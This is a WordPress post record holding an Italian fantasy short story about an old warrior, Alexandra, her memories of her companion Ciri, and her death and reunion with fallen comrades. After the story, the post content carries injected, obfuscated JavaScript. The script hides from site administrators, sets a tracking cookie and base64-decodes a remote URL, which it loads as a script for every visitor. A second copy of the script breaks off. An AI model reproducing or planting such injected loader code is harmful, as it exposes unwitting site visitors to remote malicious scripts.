{"id":4112,"date":"2025-09-22T18:45:50","date_gmt":"2025-09-22T16:45:50","guid":{"rendered":"https:\/\/www.terredegliangeli.com\/calamai\/?p=4112"},"modified":"2026-07-05T18:38:53","modified_gmt":"2026-07-05T16:38:53","slug":"mors-omnia-solvit","status":"publish","type":"post","link":"https:\/\/www.terredegliangeli.com\/calamai\/mors-omnia-solvit\/","title":{"rendered":"MORS OMNIA SOLVIT"},"content":{"rendered":"\n<div class=\"wp-block-cover\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"682\" class=\"wp-block-cover__image-background wp-image-4120\" alt=\"\" src=\"https:\/\/www.terredegliangeli.com\/calamai\/wp-content\/uploads\/2025\/09\/Immagine-3-1024x682.png\" data-object-fit=\"cover\" srcset=\"https:\/\/www.terredegliangeli.com\/calamai\/wp-content\/uploads\/2025\/09\/Immagine-3-1024x682.png 1024w, https:\/\/www.terredegliangeli.com\/calamai\/wp-content\/uploads\/2025\/09\/Immagine-3-300x200.png 300w, https:\/\/www.terredegliangeli.com\/calamai\/wp-content\/uploads\/2025\/09\/Immagine-3-768x512.png 768w, https:\/\/www.terredegliangeli.com\/calamai\/wp-content\/uploads\/2025\/09\/Immagine-3-120x80.png 120w, https:\/\/www.terredegliangeli.com\/calamai\/wp-content\/uploads\/2025\/09\/Immagine-3.png 1280w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><span aria-hidden=\"true\" class=\"wp-block-cover__background has-background-dim\"><\/span><div class=\"wp-block-cover__inner-container is-layout-flow wp-block-cover-is-layout-flow\">\n<p class=\"has-text-align-center has-large-font-size wp-block-paragraph\"><\/p>\n<\/div><\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Alexandra si muoveva nella stanza scrutando con attenzione ogni oggetto, selezionando con cura i ricordi che voleva portare con s\u00e9. Sopra il tavolo una sacca aperta ancora mezza vuota.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Aveva deciso di partire per Scientiar e di trascorrere con i vecchi compagni quello che rimaneva della sua vita. Quello sarebbe stato il suo ultimo viaggio, la sua ultima avventura.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ed era in ritardo!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Doveva sbrigarsi se non voleva perdere la carovana, ma fare le valigie si era rivelato compito molto pi\u00f9 complesso di quello che si aspettava.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Passava davanti ai mobili e osservava, a volte si fermava, sfiorava con le punta delle dita, sorrideva e poi andava avanti, altre volte soppesava con entrambi le mani il ricordo di una vita.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Camminava avanti e indietro, guardandosi intorno.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">La libreria colp\u00ec la sua attenzione, doveva prendere un diario di Ciri, ma quale?&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">A Ciri era sempre piaciuto scrivere e disegnare, ma era una grafomane e nel corso degli anni aveva riempito una libreria intera.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Alexa prese un libretto damascato a caso e lo apr\u00ec:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Scacchiera. Giorno 24 Luna di Aldebaran.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Oggi, con le mie donne e i miei uomini, abbiamo sgominato una sacca di criminali che teneva in assedio un castello. Per ringraziarci ci hanno regalato un prosciutto di maiale. I nuovi cadetti lo hanno apprezzato molto, la vecchia guardia invece mantiene la solita avversione verso quell\u2019alimento.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Seguiva il disegno di una testa di maiale umanoide ben riconoscibile per chi sapeva chi fosse.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ne prese un altro e apr\u00ec:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Scacchiera. Giorno 12 Luna di Elthrai.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>E\u2019 arrivata una missiva dall\u2019Altomastra Cerulea, ci ringrazia per il lavoro svolto presso la sua casella.&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Lo fa in dodici pagine.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Poi ancora:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Scacchiera. Giorno 4 Luna di Sirio.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Oggi Greg ha bevuto una bottiglia di vino inviata da Oscar, senza offrirmene nemmeno un bicchiere. L\u2019ho minacciato di farlo chiudere in prigione per una notte se dovesse risuccedere. Pensava scherzassi, ma non sa quanto sia seria quando si parla di vino.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Alexa continu\u00f2 a sfogliare e leggere gli appunti della compagna, aneddoto dopo aneddoto.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Aveva passato tantissimi anni nella Scacchiera a seguire Ciri, Alfiere del Crepuscolo, e di avventure ne avevano vissute tante insieme. Si era ben inserita tra le fila della Masnada ed era conosciuta e rispettata da tutti, ma non si era mai integrata completamente. Era sempre rimasta il Corvo tra le Api.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">E andava bene cos\u00ec, non c\u2019erano pi\u00f9 Corvi nella Scacchiera, qualcuno doveva pur farlo.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Durante le battaglie e gli scontri La vedeva.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">La Signora camminava tra loro, attendeva e spesso si tratteneva pi\u00f9 vicino ad alcuni.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">A fine battaglia Alexa si avvicinava ai compagni caduti, fermava il soccorso inutile dei cerusici e li dirigeva verso altri feriti, sussurrava all\u2019orecchio dei moribondi parole che solo loro potevano udire e spesso il loro volto si rilassava e spiravano sereni.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Negli anni tra le nuove leve si era diffusa la diceria che Alexa portasse sfortuna, e molti la evitavano.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ma non le importava, chi la Morte l\u2019aveva conosciuta sapeva che Alexa non era una visionaria fanatica, e quelle erano le uniche opinioni valide per lei.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Sfogliando le pagine senza troppa attenzione le cadde l\u2019occhio su una frase:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Scacchiera. Giorno 11 Luna di Nhea<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Oggi c\u2019\u00e8 stato il funerale di Iena. Per la prima volta ho sentito le Fiere ruggire di dolore.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Alexa chiuse con un tonfo il libretto, ma non bast\u00f2 per fermare i ricordi.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Si ricordava quel giorno, anzi pi\u00f9 precisamente i giorni precedenti.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Iena fu il primo su cui Alexa sent\u00ec quell\u2019odore: un odore indescrivibile, che aveva sentito solo in presenza della Morte. Non sapeva nemmeno dire se era un odore, quanto pi\u00f9 una sensazione nel naso, come quando annusi l\u2019aria fredda dell\u2019inverno, non ha un odore preciso, ma \u00e8 come se lo avesse.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Dopo aver sentito quell\u2019odore di gelida fine pass\u00f2 tutta la notte sveglia a pensare, tormentata dai dubbi e dall\u2019incertezza, poi decise. Si alz\u00f2 e usc\u00ec di casa.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Iena apr\u00ec la porta con stupore \u201cAlexa, che \u00e8 successo?\u201d ma dopo uno sguardo attendo aggiunse \u201cimmagino tu non abbia litigato con Ciri e sia in cerca di un letto per la notte, vero?\u201d senza aspettare una risposta rientr\u00f2 in casa, prese una bottiglia, la stapp\u00f2 con veemenza, e ne bevve grosse sorsate.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cQuando?\u201d chiese fissando il vuoto. Era sempre stato molto intelligente Iena, pens\u00f2 Alexa.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cNon lo so. Ma la sento, sta arrivando. Volevo che tu lo sapessi per usare il tuo tempo al meglio e non avere rimpianti.\u201d gli rispose<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Iena la abbracci\u00f2 con una forza sorprendente \u201cGrazie Corvo.\u201d&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Quando usc\u00ec per strada si guard\u00f2 intorno furtiva, si aspettava che La Signora arrivasse da un momento all\u2019altro per punirla, invece non accadde.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Iena fu il primo, ma non l\u2019ultimo.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Alexa si accorse che ne sentiva l\u2019odore, ma solo sulla vecchia guardia, sui compagni delle prime battaglie. Forse perch\u00e9 avevano visto la Morte in faccia, sia metaforicamente che letteralmente, forse gli era rimasta una sorta di traccia addosso, forse era un dono da parte della Signora, non lo sapeva, del resto a capire queste cose era sempre stato Jared, ma ne aveva approfittato e li aveva avvertiti tutti in anticipo.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Con le dita pass\u00f2 sopra tutte le costole dei diari, ripensando ai compagni, ai loro volti, alle loro parole, alla loro gratitudine anche di fronte a quella tetra previsione.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Chi pianse, chi sorrise e scherz\u00f2, chi disse solo \u201cScoccia\u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Chi tir\u00f2 fuori grande generosit\u00e0 con gli amici, chi diffuse parole di conforto e amore per chi restava e chi invece aveva voglia di togliersi i sassolini dalla scarpa \u201cOra posso dirtelo: la tu\u2019 moglie mi \u00e8 sempre stata sul cazzo!\u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">C\u2019\u00e8 chi rimase in silenzio e chi si preoccup\u00f2 pi\u00f9 per gli altri che per s\u00e9:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cAlexa, mia sorella morirebbe a sapere che sto per morire\u201d disse la donna<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cE\u2019 la stessa cosa che mi ha detto lei\u201d le rispose Alexa. Katrina la ringrazi\u00f2 con le lacrime agli occhi e corse da Anastasia. Per loro non poteva esserci dono pi\u00f9 bello del sapere che sarebbero morte insieme, nessuna delle due avrebbe sofferto la perdita dell\u2019altra.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Alexa non avrebbe dimenticato nessuno di loro.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Tocc\u00f2 diario dopo diario e si ferm\u00f2 sull\u2019ultimo.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Tentenn\u00f2, ma poi lo prese e lesse le ultime parole scritte con grafia tremolante:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>\u2026 e quindi sono giunta alla conclusione di questo diario.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Grazie Khaissa per questa vita piena. Me ne vado felice, senza rimpianti.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Ciri<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ricordava perfettamente anche quel giorno: Ciri era piegata sulla scrivania illuminata dalla luce della candela, ancora la vedeva l\u00ec, concentrata a scrivere quelle parole, il silenzio interrotto solo dai suoi colpi di tosse e un fazzoletto candido imperlato di rosso stretto in pugno.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">All\u2019improvviso bussarono alla porta, ma le due donne non sembrarono stupite, come se aspettassero qualcuno.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cPerfetto. Ho appena concluso\u201d disse Ciri e chiuse il diario, con grande sforzo si alz\u00f2 dalla sedia, fece sparire il fazzoletto e si diresse al centro della stanza.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cFalla entrare\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Alexa accolse in casa la donna alta dai capelli ricci lunghi e lucenti. Una cicatrice le tagliava il volto quasi a met\u00e0, il che le donava un aspetto ancora pi\u00f9 fiero. I due occhi di colori diversi sostenevano con determinazione lo sguardo.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Alexa non pot\u00e8 non pensare che sembrasse una vera guerriera, una vera Leonessa.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cInginocchiati\u201d disse Ciri e la donna in silenzio le si posizion\u00f2 davanti, Ciri le calz\u00f2 in testa il cappello col simbolo dell\u2019ape e la piuma dell\u2019Alfiere e con un pugnale le tocc\u00f2 le spalle.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cSono felice di nominarti nuovo Alfiere del Crepuscolo, Riccio, la Fiera pi\u00f9 coraggiosa di tutte. Ora anche tu dovrai scegliere con saggezza il tuo Cadetto, come io feci con te.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Sai quando ti scelsi anni fa venni criticata, mi venne detto che eri debole e troppo fragile, ma quella persona non vedeva quello che vedevo io in te. Quello che gi\u00e0 c\u2019era in te e che doveva solo venire fuori. Li hai fatti ricredere tutti.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Quindi grazie, non solo per essere stata la spalla di cui avevo bisogno, ma anche per avermi permesso di avere ragione su chi non me ne dava. Io adoro avere ragione.\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Le due donne si abbracciarono sorridendo.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">L\u2019unica che non riusciva a smettere di piangere nella stanza era Alexa.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Riccio non vers\u00f2 nemmeno una lacrima.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Del funerale Alexa non ricordava molto, se non che la stanza era gremita di gente.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Tutti erano venuti a commemorare Ciri, anche chi non l\u2019aveva conosciuta.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Alcune persone Alexa non sapeva se c\u2019erano davvero, o se era stato uno scherzo della vista ormai vecchia e della mente fossilizzata sui ricordi, ma avrebbe giurato di aver intravisto un cappotto di pelle lungo tra la folla, di aver udito il caratteristico fischio di Klim tra gli applausi e un mazzafrusto scintillare sotto il sole.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Quando si gir\u00f2 per dirlo a Ciri vide Leone chinato su di lei con un orecchio vicino alla bocca truccata e le sembr\u00f2 quasi che le labbra della compagna si stessero muovendo, non si stup\u00ec della cosa, lasci\u00f2 loro il tempo per un ultimo saluto.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Leone poi si diresse verso di lei, la abbracci\u00f2 in silenzio e tenendole le spalle le disse \u201cgli altri ti salutano\u201d \u201cdigli che ci vedremo presto\u201d \u201cquando sar\u00e0 il momento, ti attenderemo a braccia aperte\u201d con uno sguardo che intendeva tutto senza dire niente. Tipico da Leone.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Dopo le venne il dubbio di averlo visto davvero o che anche lui fosse solo un riverbero del Reame delle Ombre e lo chiese a Riccio \u201cLeone? No, non l\u2019ho incrociato, c\u2019era cos\u00ec tanta gente. Sono sicura invece di aver visto dei Ratkin! Hanno sparato dei fuochi d\u2019artificio in onore di Ciri\u201d rispose lei sorridendo.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cOra mi spiego le esplosioni, pensavo di averle immaginate\u201d&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Alexa ancora aveva il diario in mano aperto all\u2019ultima pagina, lo chiuse e lo mise nella sacca. Ma la mente continu\u00f2 a ricordare.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Dopo la morte di Ciri la vita di Alexa aveva perso di calore, ma aveva fatto del suo meglio per continuare a viverla, come la compagna avrebbe voluto.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Nel corso del tempo non erano mancate giornate pi\u00f9 difficili in cui aveva pregato La Signora di farle raggiungere Ciri, ma la Morte sembrava essersi dimenticata di lei. Quando aveva anche solo pensato di accorciare i tempi un voce familiare le risuon\u00f2 nelle orecchie come un eco lontano \u201cquando sar\u00e0 il momento, Alexa\u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Cos\u00ec attese. Visse la vita al meglio che poteva, anche se era una vita a met\u00e0.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Passarono gli anni, cos\u00ec tanti che due mani non bastavano a contarli, il corpo da guerriera lasci\u00f2 posto a quello di una donna anziana.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Aveva continuato ad aiutare il Crepuscolo finch\u00e9 aveva potuto, ma con l\u2019incedere della vecchiaia era stata costretta a ritirarsi sempre di pi\u00f9 a vita privata.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Quella che era Alexandra un tempo era ormai un lontano ricordo nella mente di pochi, persino nella sua.&nbsp;Ecco perch\u00e9 aveva deciso di andare Scientiar, per ritrovare vecchi compagni e con loro ritrovare anche s\u00e9 stessa.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Mentre pensava a tutto questo, l\u2019occhio le cadde in un angolo della stanza: appoggiata al muro troneggiava la sua lancia, imponente e minacciosa come sempre, su di lei il tempo non sembrava esser trascorso.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Una volta vicina ne sfior\u00f2 il filo con un polpastrello, era ancora letale.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Pass\u00f2 le dita sull\u2019impugnatura in velluto e sulla gemma cremisi incastonata.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ripens\u00f2 a Gastone e non pot\u00e8 non sorridere.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Quante storie aveva fatto per quella pietra incantata: ogni giorno le andava dietro facendole notare che aveva preferito lei a s\u00e9 stesso. A Gas piaceva sentirsi dire grazie e che era bravo, e Alexa pensava davvero fosse una splendida persona e molto generosa, ma la divertiva lasciarlo sulle spine quindi non gli diceva mai quello che voleva sentirsi dire.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ora potesse glielo direbbe.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">O forse no, forse fosse vivo continuerebbe a giocare con lui e lui con lei. Del resto erano sempre stati cos\u00ec loro: cane e gatto.&nbsp;Etsy era il topo.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Prov\u00f2 ad impugnare l\u2019arma, ma le dita vecchie e rigide non strinsero e il braccio debole non resse la presa. La lancia si alz\u00f2 di pochi centimentri da terra per poi ricadere al suolo.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Non se la ricordava cos\u00ec pesante, e pensare che un tempo le sembrava leggera come una piuma.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Appoggi\u00f2 la fronte sulla fredda lama, chiuse gli occhi.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cNon posso portarti con me, mia cara. Grazie di tutto\u201d disse, come se la lancia potesse sentirla.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Scrisse su un foglio alcune parole tremule e le leg\u00f2 all\u2019impugnatura:&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>PER LE FILA DEL CREPUSCOLO.&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Questa lancia ha sempre difeso l\u2019Alfiere con amore, \u00e8 giusto che continui a farlo.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Un raggio di sole le colp\u00ec gli occhi e si accorse che era il tramonto.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cE\u2019 tardi! Se non mi sbrigo rischio di perdere la carovana\u201d disse tra s\u00e9 e s\u00e9&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Si avvicin\u00f2 alla finestra, si riemp\u00ec gli occhi col l\u2019immagine del sole che tramontava, le era sempre piaciuto quel colore cremisi, lo aveva sempre trovato bellissimo e poi con fatica, a causa delle mani deformate dalla vecchiaia, chiuse le imposte della finestra.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Si diresse al tavolo, afferr\u00f2 i manici della sacca e se la mise in spalla. Non era troppo pesante, era stata saggia a portare giusto l\u2019essenziale, pens\u00f2.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Diede un\u2019ultima occhiata alla casa: le finestre erano chiuse, il letto era fatto, sul tavolo un foglio con le direttive su cosa fare con ci\u00f2 che rimaneva e qualche riga di saluto.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Poteva finalmente lasciare la Scacchiera.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Sospir\u00f2, sorrise e apr\u00ec la porta.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Forse la sacca non era cos\u00ec leggera come credeva, forse il ginocchio ormai consumato aveva ceduto o forse era inciampata sulla soglia, non lo sapeva, ma all\u2019improvviso si sent\u00ec crollare a terra.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Per\u00f2 non tocc\u00f2 il suolo, delle mani forti la afferrarono giusto in tempo prima che potesse andare in mille pezzi fragile come era.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cPresa!\u201d&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Alexa riconobbe subito quella voce<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Guard\u00f2 in alto e vide Jared sopra di lei \u201cBiondo! Cosa ci fai qua? Stavo venendo io a Scientiar da te\u201d disse sorpresa<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cHo preferito non farti fare il viaggio da sola\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Alexa gli si aggrapp\u00f2 addosso per alzarsi e si rese subito conto che il suo corpo era pi\u00f9 forte. Le gambe non tremavano pi\u00f9 e sembravano solide. Si guard\u00f2 le mani e ne fu sorpresa: non erano pi\u00f9 piegate e contorte, ma giovani e delicate. La pelle era tornata tesa e vellutata e i capelli le erano ricresciuti lunghi e castani. I sensi erano potenti, forse anche pi\u00f9 di prima.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Alexa guard\u00f2 sorpresa Jared che sorridendo disse:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cAvevi promesso di diventare il mio braccio armato\u201d e le porse una lancia che prima non c\u2019era.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">D\u2019aspetto era uguale alla sua, ma la lama era fatta di ombra e fuoco e l\u2019impugnatura era del colore del sangue coagulato, un rosso molto vicino al nero.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Vicino alla lama era incastonata una gemma nera lucente.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cGas ha insistito. Dice ne saresti stata felice\u201d spieg\u00f2 Jared come se leggesse la mente di Alexa dallo sguardo e dai movimenti<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cPosso provarla?\u201d chiese lei<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cCertamente, \u00e8 tua\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Alexa non se lo fece dire due volte: l\u2019afferr\u00f2 e ne vibr\u00f2 un colpo talmente potente che l\u2019aria stessa si tagli\u00f2 per un istante.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cAh! Ora che sei tornata gli altri la smetteranno di prendermi in giro e trattarmi male!\u201d Disse Jared battendo le mani a m\u00f2 di plauso<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cGli altri dove sono?\u201d chiese lei ammirando ancora la lancia<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cAlcuni a casa, altri fuori a portare a termine compiti, ma in ogni caso ti aspettano tutti a braccia aperte\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cAnche Brando?\u201d chiese lei con tono sarcastico<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cNon esagerare! Anzi era gi\u00e0 infastidito, diceva che sicuramente avresti fatto tardi\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cE aveva ragione!\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cTranquilla, gli inventer\u00f2 qualcosa di plausibile. Che dici, andiamo? La strada \u00e8 lunga\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Jared inizi\u00f2 a camminare e Alexa lo segu\u00ec senza titubanza continuando a conversare con l\u2019amico.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cE Ciri?\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cE Ciri cosa?\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cDove \u00e8? Ha oltrepassato il Reame delle Ombre? Posso vederla ogni tanto? \u00c8 concesso?\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Jared le afferr\u00f2 un braccio e sorridendo le disse<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cCiri ti aspetta a Scientiar da tanto tempo. Ha chiesto a Leone di poter aiutare il Sussurro dopo la morte, cos\u00ec da poter continuare a stare con te.&nbsp;Come hai fatto tu con lei in vita.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ha radunato anche gli Smarriti e con loro aiuta le anime perse e sole a ritrovare la propria strada\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Quelle parole furono balsamo per il suo cuore, Alexa si sentiva di nuovo completa.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Acceler\u00f2 il passo. Era desiderosa di vivere questa nuova avventura.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Chi lo dice che la morte deve essere la fine?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Quella notte Riccio aveva sognato Ciri e aveva subito organizzato una pattuglia.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Il corpo inerme di Alexandra venne ritrovato sulla soglia di casa, morto da poche ore.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In casa sul tavolo c\u2019erano le ultime volont\u00e0 della donna.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Riccio chiese che venisse seppellita su una collina da cui si vedeva il tramonto e soffiava il caldo vento del deserto. Con una frase incisa sulla pietra:  <\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Ci\u00f2 che fu, ci\u00f2 che \u00e8 e ci\u00f2 che sar\u00e0.<\/em> <em>Insieme. Come in vita cos\u00ec nella morte.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Tra le sue braccia venne deposto il corpo di Ciri. Cos\u00ec che potessero abbracciarsi per sempre.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 